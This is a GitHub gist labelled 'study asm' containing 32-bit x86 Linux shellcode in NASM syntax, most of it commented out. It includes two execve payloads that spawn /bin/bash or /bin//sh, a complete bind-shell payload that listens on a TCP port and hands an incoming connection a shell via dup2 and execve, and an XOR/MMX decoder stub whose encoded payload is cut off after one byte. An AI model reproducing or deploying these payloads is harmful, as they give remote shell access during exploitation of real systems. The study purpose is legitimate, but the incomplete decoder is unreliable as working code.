Created
December 20, 2019 07:58
-
-
Save merlinxcy/22dcf30c0e5a5fa4681e0c97024e3ef1 to your computer and use it in GitHub Desktop.
study asm
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; global _start | |
; section .text | |
; _start: | |
; jmp short call_shellcode | |
; shellcode: | |
; pop esi | |
; xor ebx,ebx | |
; mov byte[esi+9],bl | |
; mov dword[esi+10],esi | |
; mov dword[esi+14],ebx | |
; lea ebx,[esi] | |
; lea ecx,[esi+10] | |
; lea edx,[esi+14] | |
; xor eax,eax | |
; mov al,0xb | |
; int 0x80 | |
; call_shellcode: | |
; call shellcode | |
; message db "/bin/bashABBBBCCCC" | |
; global _start | |
; section .text | |
; _start: | |
; xor eax,eax | |
; xor ecx,ecx | |
; push eax | |
; push "//sh" | |
; push "/bin" | |
; mov al,0xb | |
; mov ebx,esp | |
; int 80h | |
; global _start | |
; section .text | |
; _start: | |
; xor eax,eax | |
; xor ebx,ebx | |
; xor ecx,ecx | |
; xor edx,edx | |
; xor esi,esi | |
; push eax | |
; push 0x1 | |
; push 0x2 | |
; mov ecx,esp | |
; inc bl | |
; ;mov bl ,1; #define SYS_SOCKET 1 | |
; mov al,0x66 | |
; int 80h | |
; mov esi,eax | |
; ;sys_setsockopt | |
; mov al, 102 ; syscall 102 - socketcall | |
; mov bl, 14 ; socketcall type (sys_setsockopt 14) | |
; push 4 ; sizeof socklen_t | |
; push esp ; address of socklen_t - on the stack | |
; push 2 ; SO_REUSEADDR = 2 | |
; push 1 ; SOL_SOCKET = 1 | |
; push esi ; sockfd | |
; mov ecx, esp ; ptr to argument array | |
; int 0x80 ; kernel interrupt | |
; ;bind | |
; push edx | |
; push WORD 0x672b | |
; push WORD 2 | |
; mov ecx,esp | |
; push 0x10 | |
; push ecx | |
; push esi | |
; mov ecx,esp | |
; mov bl,2 | |
; mov al,0x66 | |
; int 80h | |
; ;listen | |
; push edx | |
; push esi | |
; mov ecx,esp | |
; mov bl,0x4 | |
; mov al,0x66 | |
; int 80h | |
; ;accept | |
; push edx | |
; push edx | |
; push esi | |
; mov ecx,esp | |
; mov bl,0x5 | |
; mov al,0x66 | |
; int 80h | |
; ;dup2 | |
; mov ebx,eax | |
; xor ecx,ecx | |
; mov al,0x3f | |
; int 80h | |
; mov cl,1 | |
; mov al,0x3f | |
; int 80h | |
; mov cl,2 | |
; mov al,0x3f | |
; int 80h | |
; ;execve | |
; push edx | |
; push 0x68732f2f | |
; push 0x6e69622f | |
; mov ebx,esp | |
; push edx | |
; push ebx | |
; mov ecx,esp | |
; mov al,0xb | |
; int 80h | |
global _start | |
section .text | |
_start: | |
jmp short call_decoder | |
decoder: | |
pop edi | |
lea esi, [edi+8] | |
xor ecx,ecx | |
mov cl,4 | |
decode: | |
movq mm0, qword[edi] | |
movq mm1, qword[esi] | |
pxor mm0,mm1 | |
movq qword[esi], mm0 | |
add esi,0x8 | |
loop decode | |
call_decoder: | |
call decoder | |
decoer_value: db 0xaa | |
EncodeShellcode: db 0x9b |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment